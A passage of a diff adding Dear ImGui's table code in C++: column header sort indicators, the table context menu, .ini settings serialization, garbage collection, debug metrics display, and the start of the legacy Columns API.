w_sort_text); + float y = label_pos.y; + if (column->SortOrder > 0) + { + PushStyleColor(ImGuiCol_Text, GetColorU32(ImGuiCol_Text, 0.70f)); + RenderText(ImVec2(x + g.Style.ItemInnerSpacing.x, y), sort_order_suf); + PopStyleColor(); + x += w_sort_text; + } + RenderArrow(window->DrawList, ImVec2(x, y), GetColorU32(ImGuiCol_Text), column->SortDirection == ImGuiSortDirection_Ascending ? ImGuiDir_Up : ImGuiDir_Down, ARROW_SCALE); + } + + // Handle clicking on column header to adjust Sort Order + if (pressed && table->ReorderColumn != column_n) + { + ImGuiSortDirection sort_direction = TableGetColumnNextSortDirection(column); + TableSetColumnSortDirection(column_n, sort_direction, g.IO.KeyShift); + } + } + + // Render clipped label. Clipping here ensure that in the majority of situations, all our header cells will + // be merged into a single draw call. + //window->DrawList->AddCircleFilled(ImVec2(ellipsis_max, label_pos.y), 40, IM_COL32_WHITE); + RenderTextEllipsis(window->DrawList, label_pos, ImVec2(ellipsis_max, label_pos.y + label_height + g.Style.FramePadding.y), ellipsis_max, ellipsis_max, label, label_end, &label_size); + + const bool text_clipped = label_size.x > (ellipsis_max - label_pos.x); + if (text_clipped && hovered && g.HoveredIdNotActiveTimer > g.TooltipSlowDelay) + SetTooltip("%.*s", (int)(label_end - label), label); + + // We don't use BeginPopupContextItem() because we want the popup to stay up even after the column is hidden + if (IsMouseReleased(1) && IsItemHovered()) + TableOpenContextMenu(column_n); +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Context Menu +//------------------------------------------------------------------------- +// - TableOpenContextMenu() [Internal] +// - TableDrawContextMenu() [Internal] +//------------------------------------------------------------------------- + +// Use -1 to open menu not specific to a given column. +void ImGui::TableOpenContextMenu(int column_n) +{ + ImGuiContext& g = *GImGui; + ImGuiTable* table = g.CurrentTable; + if (column_n == -1 && table->CurrentColumn != -1) // When called within a column automatically use this one (for consistency) + column_n = table->CurrentColumn; + if (column_n == table->ColumnsCount) // To facilitate using with TableGetHoveredColumn() + column_n = -1; + IM_ASSERT(column_n >= -1 && column_n < table->ColumnsCount); + if (table->Flags & (ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) + { + table->IsContextPopupOpen = true; + table->ContextPopupColumn = (ImGuiTableColumnIdx)column_n; + table->InstanceInteracted = table->InstanceCurrent; + const ImGuiID context_menu_id = ImHashStr("##ContextMenu", 0, table->ID); + OpenPopupEx(context_menu_id, ImGuiPopupFlags_None); + } +} + +// Output context menu into current window (generally a popup) +// FIXME-TABLE: Ideally this should be writable by the user. Full programmatic access to that data? +void ImGui::TableDrawContextMenu(ImGuiTable* table) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return; + + bool want_separator = false; + const int column_n = (table->ContextPopupColumn >= 0 && table->ContextPopupColumn < table->ColumnsCount) ? table->ContextPopupColumn : -1; + ImGuiTableColumn* column = (column_n != -1) ? &table->Columns[column_n] : NULL; + + // Sizing + if (table->Flags & ImGuiTableFlags_Resizable) + { + if (column != NULL) + { + const bool can_resize = !(column->Flags & ImGuiTableColumnFlags_NoResize) && column->IsEnabled; + if (MenuItem("Size column to fit###SizeOne", NULL, false, can_resize)) + TableSetColumnWidthAutoSingle(table, column_n); + } + + const char* size_all_desc; + if (table->ColumnsEnabledFixedCount == table->ColumnsEnabledCount) + size_all_desc = "Size all columns to fit###SizeAll"; // All fixed + else if (table->ColumnsEnabledFixedCount == 0) + size_all_desc = "Size all columns to default###SizeAll"; // All stretch + else + size_all_desc = "Size all columns to fit/default###SizeAll";// Mixed + if (MenuItem(size_all_desc, NULL)) + TableSetColumnWidthAutoAll(table); + want_separator = true; + } + + // Ordering + if (table->Flags & ImGuiTableFlags_Reorderable) + { + if (MenuItem("Reset order", NULL, false, !table->IsDefaultDisplayOrder)) + table->IsResetDisplayOrderRequest = true; + want_separator = true; + } + + // Reset all (should work but seems unnecessary/noisy to expose?) + //if (MenuItem("Reset all")) + // table->IsResetAllRequest = true; + + // Sorting + // (modify TableOpenContextMenu() to add _Sortable flag if enabling this) +#if 0 + if ((table->Flags & ImGuiTableFlags_Sortable) && column != NULL && (column->Flags & ImGuiTableColumnFlags_NoSort) == 0) + { + if (want_separator) + Separator(); + want_separator = true; + + bool append_to_sort_specs = g.IO.KeyShift; + if (MenuItem("Sort in Ascending Order", NULL, column->SortOrder != -1 && column->SortDirection == ImGuiSortDirection_Ascending, (column->Flags & ImGuiTableColumnFlags_NoSortAscending) == 0)) + TableSetColumnSortDirection(table, column_n, ImGuiSortDirection_Ascending, append_to_sort_specs); + if (MenuItem("Sort in Descending Order", NULL, column->SortOrder != -1 && column->SortDirection == ImGuiSortDirection_Descending, (column->Flags & ImGuiTableColumnFlags_NoSortDescending) == 0)) + TableSetColumnSortDirection(table, column_n, ImGuiSortDirection_Descending, append_to_sort_specs); + } +#endif + + // Hiding / Visibility + if (table->Flags & ImGuiTableFlags_Hideable) + { + if (want_separator) + Separator(); + want_separator = true; + + PushItemFlag(ImGuiItemFlags_SelectableDontClosePopup, true); + for (int other_column_n = 0; other_column_n < table->ColumnsCount; other_column_n++) + { + ImGuiTableColumn* other_column = &table->Columns[other_column_n]; + const char* name = TableGetColumnName(table, other_column_n); + if (name == NULL || name[0] == 0) + name = ""; + + // Make sure we can't hide the last active column + bool menu_item_active = (other_column->Flags & ImGuiTableColumnFlags_NoHide) ? false : true; + if (other_column->IsEnabled && table->ColumnsEnabledCount <= 1) + menu_item_active = false; + if (MenuItem(name, NULL, other_column->IsEnabled, menu_item_active)) + other_column->IsEnabledNextFrame = !other_column->IsEnabled; + } + PopItemFlag(); + } +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Settings (.ini data) +//------------------------------------------------------------------------- +// FIXME: The binding/finding/creating flow are too confusing. +//------------------------------------------------------------------------- +// - TableSettingsInit() [Internal] +// - TableSettingsCalcChunkSize() [Internal] +// - TableSettingsCreate() [Internal] +// - TableSettingsFindByID() [Internal] +// - TableGetBoundSettings() [Internal] +// - TableResetSettings() +// - TableSaveSettings() [Internal] +// - TableLoadSettings() [Internal] +// - TableSettingsHandler_ClearAll() [Internal] +// - TableSettingsHandler_ApplyAll() [Internal] +// - TableSettingsHandler_ReadOpen() [Internal] +// - TableSettingsHandler_ReadLine() [Internal] +// - TableSettingsHandler_WriteAll() [Internal] +// - TableSettingsInstallHandler() [Internal] +//------------------------------------------------------------------------- +// [Init] 1: TableSettingsHandler_ReadXXXX() Load and parse .ini file into TableSettings. +// [Main] 2: TableLoadSettings() When table is created, bind Table to TableSettings, serialize TableSettings data into Table. +// [Main] 3: TableSaveSettings() When table properties are modified, serialize Table data into bound or new TableSettings, mark .ini as dirty. +// [Main] 4: TableSettingsHandler_WriteAll() When .ini file is dirty (which can come from other source), save TableSettings into .ini file. +//------------------------------------------------------------------------- + +// Clear and initialize empty settings instance +static void TableSettingsInit(ImGuiTableSettings* settings, ImGuiID id, int columns_count, int columns_count_max) +{ + IM_PLACEMENT_NEW(settings) ImGuiTableSettings(); + ImGuiTableColumnSettings* settings_column = settings->GetColumnSettings(); + for (int n = 0; n < columns_count_max; n++, settings_column++) + IM_PLACEMENT_NEW(settings_column) ImGuiTableColumnSettings(); + settings->ID = id; + settings->ColumnsCount = (ImGuiTableColumnIdx)columns_count; + settings->ColumnsCountMax = (ImGuiTableColumnIdx)columns_count_max; + settings->WantApply = true; +} + +static size_t TableSettingsCalcChunkSize(int columns_count) +{ + return sizeof(ImGuiTableSettings) + (size_t)columns_count * sizeof(ImGuiTableColumnSettings); +} + +ImGuiTableSettings* ImGui::TableSettingsCreate(ImGuiID id, int columns_count) +{ + ImGuiContext& g = *GImGui; + ImGuiTableSettings* settings = g.SettingsTables.alloc_chunk(TableSettingsCalcChunkSize(columns_count)); + TableSettingsInit(settings, id, columns_count, columns_count); + return settings; +} + +// Find existing settings +ImGuiTableSettings* ImGui::TableSettingsFindByID(ImGuiID id) +{ + // FIXME-OPT: Might want to store a lookup map for this? + ImGuiContext& g = *GImGui; + for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) + if (settings->ID == id) + return settings; + return NULL; +} + +// Get settings for a given table, NULL if none +ImGuiTableSettings* ImGui::TableGetBoundSettings(ImGuiTable* table) +{ + if (table->SettingsOffset != -1) + { + ImGuiContext& g = *GImGui; + ImGuiTableSettings* settings = g.SettingsTables.ptr_from_offset(table->SettingsOffset); + IM_ASSERT(settings->ID == table->ID); + if (settings->ColumnsCountMax >= table->ColumnsCount) + return settings; // OK + settings->ID = 0; // Invalidate storage, we won't fit because of a count change + } + return NULL; +} + +// Restore initial state of table (with or without saved settings) +void ImGui::TableResetSettings(ImGuiTable* table) +{ + table->IsInitializing = table->IsSettingsDirty = true; + table->IsResetAllRequest = false; + table->IsSettingsRequestLoad = false; // Don't reload from ini + table->SettingsLoadedFlags = ImGuiTableFlags_None; // Mark as nothing loaded so our initialized data becomes authoritative +} + +void ImGui::TableSaveSettings(ImGuiTable* table) +{ + table->IsSettingsDirty = false; + if (table->Flags & ImGuiTableFlags_NoSavedSettings) + return; + + // Bind or create settings data + ImGuiContext& g = *GImGui; + ImGuiTableSettings* settings = TableGetBoundSettings(table); + if (settings == NULL) + { + settings = TableSettingsCreate(table->ID, table->ColumnsCount); + table->SettingsOffset = g.SettingsTables.offset_from_ptr(settings); + } + settings->ColumnsCount = (ImGuiTableColumnIdx)table->ColumnsCount; + + // Serialize ImGuiTable/ImGuiTableColumn into ImGuiTableSettings/ImGuiTableColumnSettings + IM_ASSERT(settings->ID == table->ID); + IM_ASSERT(settings->ColumnsCount == table->ColumnsCount && settings->ColumnsCountMax >= settings->ColumnsCount); + ImGuiTableColumn* column = table->Columns.Data; + ImGuiTableColumnSettings* column_settings = settings->GetColumnSettings(); + + bool save_ref_scale = false; + settings->SaveFlags = ImGuiTableFlags_None; + for (int n = 0; n < table->ColumnsCount; n++, column++, column_settings++) + { + const float width_or_weight = (column->Flags & ImGuiTableColumnFlags_WidthStretch) ? column->StretchWeight : column->WidthRequest; + column_settings->WidthOrWeight = width_or_weight; + column_settings->Index = (ImGuiTableColumnIdx)n; + column_settings->DisplayOrder = column->DisplayOrder; + column_settings->SortOrder = column->SortOrder; + column_settings->SortDirection = column->SortDirection; + column_settings->IsEnabled = column->IsEnabled; + column_settings->IsStretch = (column->Flags & ImGuiTableColumnFlags_WidthStretch) ? 1 : 0; + if ((column->Flags & ImGuiTableColumnFlags_WidthStretch) == 0) + save_ref_scale = true; + + // We skip saving some data in the .ini file when they are unnecessary to restore our state. + // Note that fixed width where initial width was derived from auto-fit will always be saved as InitStretchWeightOrWidth will be 0.0f. + // FIXME-TABLE: We don't have logic to easily compare SortOrder to DefaultSortOrder yet so it's always saved when present. + if (width_or_weight != column->InitStretchWeightOrWidth) + settings->SaveFlags |= ImGuiTableFlags_Resizable; + if (column->DisplayOrder != n) + settings->SaveFlags |= ImGuiTableFlags_Reorderable; + if (column->SortOrder != -1) + settings->SaveFlags |= ImGuiTableFlags_Sortable; + if (column->IsEnabled != ((column->Flags & ImGuiTableColumnFlags_DefaultHide) == 0)) + settings->SaveFlags |= ImGuiTableFlags_Hideable; + } + settings->SaveFlags &= table->Flags; + settings->RefScale = save_ref_scale ? table->RefScale : 0.0f; + + MarkIniSettingsDirty(); +} + +void ImGui::TableLoadSettings(ImGuiTable* table) +{ + ImGuiContext& g = *GImGui; + table->IsSettingsRequestLoad = false; + if (table->Flags & ImGuiTableFlags_NoSavedSettings) + return; + + // Bind settings + ImGuiTableSettings* settings; + if (table->SettingsOffset == -1) + { + settings = TableSettingsFindByID(table->ID); + if (settings == NULL) + return; + if (settings->ColumnsCount != table->ColumnsCount) // Allow settings if columns count changed. We could otherwise decide to return... + table->IsSettingsDirty = true; + table->SettingsOffset = g.SettingsTables.offset_from_ptr(settings); + } + else + { + settings = TableGetBoundSettings(table); + } + + table->SettingsLoadedFlags = settings->SaveFlags; + table->RefScale = settings->RefScale; + + // Serialize ImGuiTableSettings/ImGuiTableColumnSettings into ImGuiTable/ImGuiTableColumn + ImGuiTableColumnSettings* column_settings = settings->GetColumnSettings(); + ImU64 display_order_mask = 0; + for (int data_n = 0; data_n < settings->ColumnsCount; data_n++, column_settings++) + { + int column_n = column_settings->Index; + if (column_n < 0 || column_n >= table->ColumnsCount) + continue; + + ImGuiTableColumn* column = &table->Columns[column_n]; + if (settings->SaveFlags & ImGuiTableFlags_Resizable) + { + if (column_settings->IsStretch) + column->StretchWeight = column_settings->WidthOrWeight; + else + column->WidthRequest = column_settings->WidthOrWeight; + column->AutoFitQueue = 0x00; + } + if (settings->SaveFlags & ImGuiTableFlags_Reorderable) + column->DisplayOrder = column_settings->DisplayOrder; + else + column->DisplayOrder = (ImGuiTableColumnIdx)column_n; + display_order_mask |= (ImU64)1 << column->DisplayOrder; + column->IsEnabled = column->IsEnabledNextFrame = column_settings->IsEnabled; + column->SortOrder = column_settings->SortOrder; + column->SortDirection = column_settings->SortDirection; + } + + // Validate and fix invalid display order data + const ImU64 expected_display_order_mask = (settings->ColumnsCount == 64) ? ~0 : ((ImU64)1 << settings->ColumnsCount) - 1; + if (display_order_mask != expected_display_order_mask) + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + table->Columns[column_n].DisplayOrder = (ImGuiTableColumnIdx)column_n; + + // Rebuild index + for (int column_n = 0; column_n < table->ColumnsCount; column_n++) + table->DisplayOrderToIndex[table->Columns[column_n].DisplayOrder] = (ImGuiTableColumnIdx)column_n; +} + +static void TableSettingsHandler_ClearAll(ImGuiContext* ctx, ImGuiSettingsHandler*) +{ + ImGuiContext& g = *ctx; + for (int i = 0; i != g.Tables.GetSize(); i++) + g.Tables.GetByIndex(i)->SettingsOffset = -1; + g.SettingsTables.clear(); +} + +// Apply to existing windows (if any) +static void TableSettingsHandler_ApplyAll(ImGuiContext* ctx, ImGuiSettingsHandler*) +{ + ImGuiContext& g = *ctx; + for (int i = 0; i != g.Tables.GetSize(); i++) + { + ImGuiTable* table = g.Tables.GetByIndex(i); + table->IsSettingsRequestLoad = true; + table->SettingsOffset = -1; + } +} + +static void* TableSettingsHandler_ReadOpen(ImGuiContext*, ImGuiSettingsHandler*, const char* name) +{ + ImGuiID id = 0; + int columns_count = 0; + if (sscanf(name, "0x%08X,%d", &id, &columns_count) < 2) + return NULL; + + if (ImGuiTableSettings* settings = ImGui::TableSettingsFindByID(id)) + { + if (settings->ColumnsCountMax >= columns_count) + { + TableSettingsInit(settings, id, columns_count, settings->ColumnsCountMax); // Recycle + return settings; + } + settings->ID = 0; // Invalidate storage, we won't fit because of a count change + } + return ImGui::TableSettingsCreate(id, columns_count); +} + +static void TableSettingsHandler_ReadLine(ImGuiContext*, ImGuiSettingsHandler*, void* entry, const char* line) +{ + // "Column 0 UserID=0x42AD2D21 Width=100 Visible=1 Order=0 Sort=0v" + ImGuiTableSettings* settings = (ImGuiTableSettings*)entry; + float f = 0.0f; + int column_n = 0, r = 0, n = 0; + + if (sscanf(line, "RefScale=%f", &f) == 1) { settings->RefScale = f; return; } + + if (sscanf(line, "Column %d%n", &column_n, &r) == 1) + { + if (column_n < 0 || column_n >= settings->ColumnsCount) + return; + line = ImStrSkipBlank(line + r); + char c = 0; + ImGuiTableColumnSettings* column = settings->GetColumnSettings() + column_n; + column->Index = (ImGuiTableColumnIdx)column_n; + if (sscanf(line, "UserID=0x%08X%n", (ImU32*)&n, &r)==1) { line = ImStrSkipBlank(line + r); column->UserID = (ImGuiID)n; } + if (sscanf(line, "Width=%d%n", &n, &r) == 1) { line = ImStrSkipBlank(line + r); column->WidthOrWeight = (float)n; column->IsStretch = 0; settings->SaveFlags |= ImGuiTableFlags_Resizable; } + if (sscanf(line, "Weight=%f%n", &f, &r) == 1) { line = ImStrSkipBlank(line + r); column->WidthOrWeight = f; column->IsStretch = 1; settings->SaveFlags |= ImGuiTableFlags_Resizable; } + if (sscanf(line, "Visible=%d%n", &n, &r) == 1) { line = ImStrSkipBlank(line + r); column->IsEnabled = (ImU8)n; settings->SaveFlags |= ImGuiTableFlags_Hideable; } + if (sscanf(line, "Order=%d%n", &n, &r) == 1) { line = ImStrSkipBlank(line + r); column->DisplayOrder = (ImGuiTableColumnIdx)n; settings->SaveFlags |= ImGuiTableFlags_Reorderable; } + if (sscanf(line, "Sort=%d%c%n", &n, &c, &r) == 2) { line = ImStrSkipBlank(line + r); column->SortOrder = (ImGuiTableColumnIdx)n; column->SortDirection = (c == '^') ? ImGuiSortDirection_Descending : ImGuiSortDirection_Ascending; settings->SaveFlags |= ImGuiTableFlags_Sortable; } + } +} + +static void TableSettingsHandler_WriteAll(ImGuiContext* ctx, ImGuiSettingsHandler* handler, ImGuiTextBuffer* buf) +{ + ImGuiContext& g = *ctx; + for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) + { + if (settings->ID == 0) // Skip ditched settings + continue; + + // TableSaveSettings() may clear some of those flags when we establish that the data can be stripped + // (e.g. Order was unchanged) + const bool save_size = (settings->SaveFlags & ImGuiTableFlags_Resizable) != 0; + const bool save_visible = (settings->SaveFlags & ImGuiTableFlags_Hideable) != 0; + const bool save_order = (settings->SaveFlags & ImGuiTableFlags_Reorderable) != 0; + const bool save_sort = (settings->SaveFlags & ImGuiTableFlags_Sortable) != 0; + if (!save_size && !save_visible && !save_order && !save_sort) + continue; + + buf->reserve(buf->size() + 30 + settings->ColumnsCount * 50); // ballpark reserve + buf->appendf("[%s][0x%08X,%d]\n", handler->TypeName, settings->ID, settings->ColumnsCount); + if (settings->RefScale != 0.0f) + buf->appendf("RefScale=%g\n", settings->RefScale); + ImGuiTableColumnSettings* column = settings->GetColumnSettings(); + for (int column_n = 0; column_n < settings->ColumnsCount; column_n++, column++) + { + // "Column 0 UserID=0x42AD2D21 Width=100 Visible=1 Order=0 Sort=0v" + buf->appendf("Column %-2d", column_n); + if (column->UserID != 0) buf->appendf(" UserID=%08X", column->UserID); + if (save_size && column->IsStretch) buf->appendf(" Weight=%.4f", column->WidthOrWeight); + if (save_size && !column->IsStretch) buf->appendf(" Width=%d", (int)column->WidthOrWeight); + if (save_visible) buf->appendf(" Visible=%d", column->IsEnabled); + if (save_order) buf->appendf(" Order=%d", column->DisplayOrder); + if (save_sort && column->SortOrder != -1) buf->appendf(" Sort=%d%c", column->SortOrder, (column->SortDirection == ImGuiSortDirection_Ascending) ? 'v' : '^'); + buf->append("\n"); + } + buf->append("\n"); + } +} + +void ImGui::TableSettingsInstallHandler(ImGuiContext* context) +{ + ImGuiContext& g = *context; + ImGuiSettingsHandler ini_handler; + ini_handler.TypeName = "Table"; + ini_handler.TypeHash = ImHashStr("Table"); + ini_handler.ClearAllFn = TableSettingsHandler_ClearAll; + ini_handler.ReadOpenFn = TableSettingsHandler_ReadOpen; + ini_handler.ReadLineFn = TableSettingsHandler_ReadLine; + ini_handler.ApplyAllFn = TableSettingsHandler_ApplyAll; + ini_handler.WriteAllFn = TableSettingsHandler_WriteAll; + g.SettingsHandlers.push_back(ini_handler); +} + +//------------------------------------------------------------------------- +// [SECTION] Tables: Garbage Collection +//------------------------------------------------------------------------- +// - TableRemove() [Internal] +// - TableGcCompactTransientBuffers() [Internal] +// - TableGcCompactSettings() [Internal] +//------------------------------------------------------------------------- + +// Remove Table (currently only used by TestEngine) +void ImGui::TableRemove(ImGuiTable* table) +{ + //IMGUI_DEBUG_LOG("TableRemove() id=0x%08X\n", table->ID); + ImGuiContext& g = *GImGui; + int table_idx = g.Tables.GetIndex(table); + //memset(table->RawData.Data, 0, table->RawData.size_in_bytes()); + //memset(table, 0, sizeof(ImGuiTable)); + g.Tables.Remove(table->ID, table); + g.TablesLastTimeActive[table_idx] = -1.0f; +} + +// Free up/compact internal Table buffers for when it gets unused +void ImGui::TableGcCompactTransientBuffers(ImGuiTable* table) +{ + //IMGUI_DEBUG_LOG("TableGcCompactTransientBuffers() id=0x%08X\n", table->ID); + ImGuiContext& g = *GImGui; + IM_ASSERT(table->MemoryCompacted == false); + table->DrawSplitter.ClearFreeMemory(); + table->SortSpecsMulti.clear(); + table->SortSpecs.Specs = NULL; + table->IsSortSpecsDirty = true; + table->ColumnsNames.clear(); + table->MemoryCompacted = true; + for (int n = 0; n < table->ColumnsCount; n++) + table->Columns[n].NameOffset = -1; + g.TablesLastTimeActive[g.Tables.GetIndex(table)] = -1.0f; +} + +// Compact and remove unused settings data (currently only used by TestEngine) +void ImGui::TableGcCompactSettings() +{ + ImGuiContext& g = *GImGui; + int required_memory = 0; + for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) + if (settings->ID != 0) + required_memory += (int)TableSettingsCalcChunkSize(settings->ColumnsCount); + if (required_memory == g.SettingsTables.Buf.Size) + return; + ImChunkStream new_chunk_stream; + new_chunk_stream.Buf.reserve(required_memory); + for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) + if (settings->ID != 0) + memcpy(new_chunk_stream.alloc_chunk(TableSettingsCalcChunkSize(settings->ColumnsCount)), settings, TableSettingsCalcChunkSize(settings->ColumnsCount)); + g.SettingsTables.swap(new_chunk_stream); +} + + +//------------------------------------------------------------------------- +// [SECTION] Tables: Debugging +//------------------------------------------------------------------------- +// - DebugNodeTable() [Internal] +//------------------------------------------------------------------------- + +#ifndef IMGUI_DISABLE_METRICS_WINDOW + +void ImGui::DebugNodeTable(ImGuiTable* table) +{ + char buf[512]; + char* p = buf; + const char* buf_end = buf + IM_ARRAYSIZE(buf); + const bool is_active = (table->LastFrameActive >= ImGui::GetFrameCount() - 2); // Note that fully clipped early out scrolling tables will appear as inactive here. + ImFormatString(p, buf_end - p, "Table 0x%08X (%d columns, in '%s')%s", table->ID, table->ColumnsCount, table->OuterWindow->Name, is_active ? "" : " *Inactive*"); + if (!is_active) { PushStyleColor(ImGuiCol_Text, GetStyleColorVec4(ImGuiCol_TextDisabled)); } + bool open = TreeNode(table, "%s", buf); + if (!is_active) { PopStyleColor(); } + if (IsItemHovered()) + GetForegroundDrawList()->AddRect(table->OuterRect.Min, table->OuterRect.Max, IM_COL32(255, 255, 0, 255)); + if (!open) + return; + bool clear_settings = SmallButton("Clear settings"); + BulletText("OuterRect: Pos: (%.1f,%.1f) Size: (%.1f,%.1f)", table->OuterRect.Min.x, table->OuterRect.Min.y, table->OuterRect.GetWidth(), table->OuterRect.GetHeight()); + BulletText("ColumnsGivenWidth: %.1f, ColumnsAutoFitWidth: %.1f, InnerWidth: %.1f%s", table->ColumnsGivenWidth, table->ColumnsAutoFitWidth, table->InnerWidth, table->InnerWidth == 0.0f ? " (auto)" : ""); + BulletText("CellPaddingX: %.1f, CellSpacingX: %.1f/%.1f, OuterPaddingX: %.1f", table->CellPaddingX, table->CellSpacingX1, table->CellSpacingX2, table->OuterPaddingX); + BulletText("HoveredColumnBody: %d, HoveredColumnBorder: %d", table->HoveredColumnBody, table->HoveredColumnBorder); + BulletText("ResizedColumn: %d, ReorderColumn: %d, HeldHeaderColumn: %d", table->ResizedColumn, table->ReorderColumn, table->HeldHeaderColumn); + //BulletText("BgDrawChannels: %d/%d", 0, table->BgDrawChannelUnfrozen); + float sum_weights = 0.0f; + for (int n = 0; n < table->ColumnsCount; n++) + if (table->Columns[n].Flags & ImGuiTableColumnFlags_WidthStretch) + sum_weights += table->Columns[n].StretchWeight; + for (int n = 0; n < table->ColumnsCount; n++) + { + ImGuiTableColumn* column = &table->Columns[n]; + const char* name = TableGetColumnName(table, n); + ImFormatString(buf, IM_ARRAYSIZE(buf), + "Column %d order %d name '%s': offset %+.2f to %+.2f\n" + "Enabled: %d, VisibleX/Y: %d/%d, RequestOutput: %d, SkipItems: %d, DrawChannels: %d,%d\n" + "WidthGiven: %.1f, Request/Auto: %.1f/%.1f, StretchWeight: %.3f (%.1f%%)\n" + "MinX: %.1f, MaxX: %.1f (%+.1f), ClipRect: %.1f to %.1f (+%.1f)\n" + "ContentWidth: %.1f,%.1f, HeadersUsed/Ideal %.1f/%.1f\n" + "Sort: %d%s, UserID: 0x%08X, Flags: 0x%04X: %s%s%s%s..", + n, column->DisplayOrder, name, column->MinX - table->WorkRect.Min.x, column->MaxX - table->WorkRect.Min.x, + column->IsEnabled, column->IsVisibleX, column->IsVisibleY, column->IsRequestOutput, column->IsSkipItems, column->DrawChannelFrozen, column->DrawChannelUnfrozen, + column->WidthGiven, column->WidthRequest, column->WidthAuto, column->StretchWeight, (column->StretchWeight / sum_weights) * 100.0f, + column->MinX, column->MaxX, column->MaxX - column->MinX, column->ClipRect.Min.x, column->ClipRect.Max.x, column->ClipRect.Max.x - column->ClipRect.Min.x, + column->ContentMaxXFrozen - column->WorkMinX, column->ContentMaxXUnfrozen - column->WorkMinX, column->ContentMaxXHeadersUsed - column->WorkMinX, column->ContentMaxXHeadersIdeal - column->WorkMinX, + column->SortOrder, (column->SortDirection == ImGuiSortDirection_Ascending) ? " (Asc)" : (column->SortDirection == ImGuiSortDirection_Descending) ? " (Des)" : "", column->UserID, column->Flags, + (column->Flags & ImGuiTableColumnFlags_WidthStretch) ? "WidthStretch " : "", + (column->Flags & ImGuiTableColumnFlags_WidthFixed) ? "WidthFixed " : "", + (column->Flags & ImGuiTableColumnFlags_WidthAuto) ? "WidthAuto " : "", + (column->Flags & ImGuiTableColumnFlags_NoResize) ? "NoResize " : ""); + Bullet(); + Selectable(buf); + if (IsItemHovered()) + { + ImRect r(column->MinX, table->OuterRect.Min.y, column->MaxX, table->OuterRect.Max.y); + GetForegroundDrawList()->AddRect(r.Min, r.Max, IM_COL32(255, 255, 0, 255)); + } + } + if (ImGuiTableSettings* settings = TableGetBoundSettings(table)) + DebugNodeTableSettings(settings); + if (clear_settings) + table->IsResetAllRequest = true; + TreePop(); +} + +void ImGui::DebugNodeTableSettings(ImGuiTableSettings* settings) +{ + if (!TreeNode((void*)(intptr_t)settings->ID, "Settings 0x%08X (%d columns)", settings->ID, settings->ColumnsCount)) + return; + BulletText("SaveFlags: 0x%08X", settings->SaveFlags); + BulletText("ColumnsCount: %d (max %d)", settings->ColumnsCount, settings->ColumnsCountMax); + for (int n = 0; n < settings->ColumnsCount; n++) + { + ImGuiTableColumnSettings* column_settings = &settings->GetColumnSettings()[n]; + ImGuiSortDirection sort_dir = (column_settings->SortOrder != -1) ? (ImGuiSortDirection)column_settings->SortDirection : ImGuiSortDirection_None; + BulletText("Column %d Order %d SortOrder %d %s Vis %d %s %7.3f UserID 0x%08X", + n, column_settings->DisplayOrder, column_settings->SortOrder, + (sort_dir == ImGuiSortDirection_Ascending) ? "Asc" : (sort_dir == ImGuiSortDirection_Descending) ? "Des" : "---", + column_settings->IsEnabled, column_settings->IsStretch ? "Weight" : "Width ", column_settings->WidthOrWeight, column_settings->UserID); + } + TreePop(); +} + +#else // #ifndef IMGUI_DISABLE_METRICS_WINDOW + +void ImGui::DebugNodeTable(ImGuiTable*) {} +void ImGui::DebugNodeTableSettings(ImGuiTableSettings*) {} + +#endif + + +//------------------------------------------------------------------------- +// [SECTION] Columns, BeginColumns, EndColumns, etc. +// (This is a legacy API, prefer using BeginTable/EndTable!) +//------------------------------------------------------------------------- +// FIXME: sizing is lossy when columns width is very small (default width may turn negative etc.) +//------------------------------------------------------------------------- +// - SetWindowClipRectBeforeSetChannel() [Internal] +// - GetColumnIndex() +// - GetColumnsCount() +// - GetColumnOffset() +// - GetColumnWidth() +// - SetColumnOffset() +// - SetColumnWidth() +// - PushColumnClipRect() [Internal] +// - PushColumnsBackground() [Internal] +// - PopColumnsBackground() [Internal] +// - FindOrCreateColumns() [Internal] +// - GetColumnsID() [Internal] +// - BeginColumns() +// - NextColumn() +// - EndColumns() +// - Columns() +//------------------------------------------------------------------------- + +// [Internal] Small optimization to avoid calls to PopClipRect/SetCurrentChannel/PushClipRect in sequences, +// they would meddle many times with the underlying ImDrawCmd. +// Instead, we do a preemptive overwrite of clipping rectangle _without_ altering the command-buffer and let +// the subsequent single call to SetCurrentChannel() does it things once. +void ImGui::SetWindowClipRectBeforeSetChannel(ImGuiWindow* window, const ImRect& clip_rect) +{ + ImVec4 clip_rect_vec4 = clip_rect.ToVec4(); + window->ClipRect = clip_rect; + window->DrawList->_CmdHeader.ClipRect = clip_rect_vec4; + window->DrawList->_ClipRectStack.Data[window->DrawList->_ClipRectStack.Size - 1] = clip_rect_vec4; +} + +int ImGui::GetColumnIndex() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CurrentColumns ? window->DC.CurrentColumns->Current : 0; +} + +int ImGui::GetColumnsCount() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.CurrentColumns ? window->DC.CurrentColumns->Count : 1; +} + +float ImGui::GetColumnOffsetFromNorm(const ImGuiOldColumns* columns, float offset_norm) +{ + return offset_norm * (columns->OffMaxX - columns->OffMinX); +} + +float ImGui::GetColumnNormFromOffset(const ImGuiOldColumns* columns, float offset) +{ + return offset / (columns->OffMaxX - columns->OffMinX); +} + +static const float COLUMNS_HIT_RECT_HALF_WIDTH = 4.0f; + +static float GetDraggedColumnOffset(ImGuiOldColumns* columns, int column_index) +{ + // Active (dragged) column always follow mouse. The reason we need this is that dragging a column to the right edge of an auto-resizing + // window creates a feedback loop because we store normalized positions. So while dragging we enforce absolute positioning. + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(column_index > 0); // We are not supposed to drag column 0. + IM_ASSERT(g.ActiveId == columns->ID + ImGuiID(column_index)); + + float x = g.IO.MousePos.x - g.ActiveIdClickOffset.x + 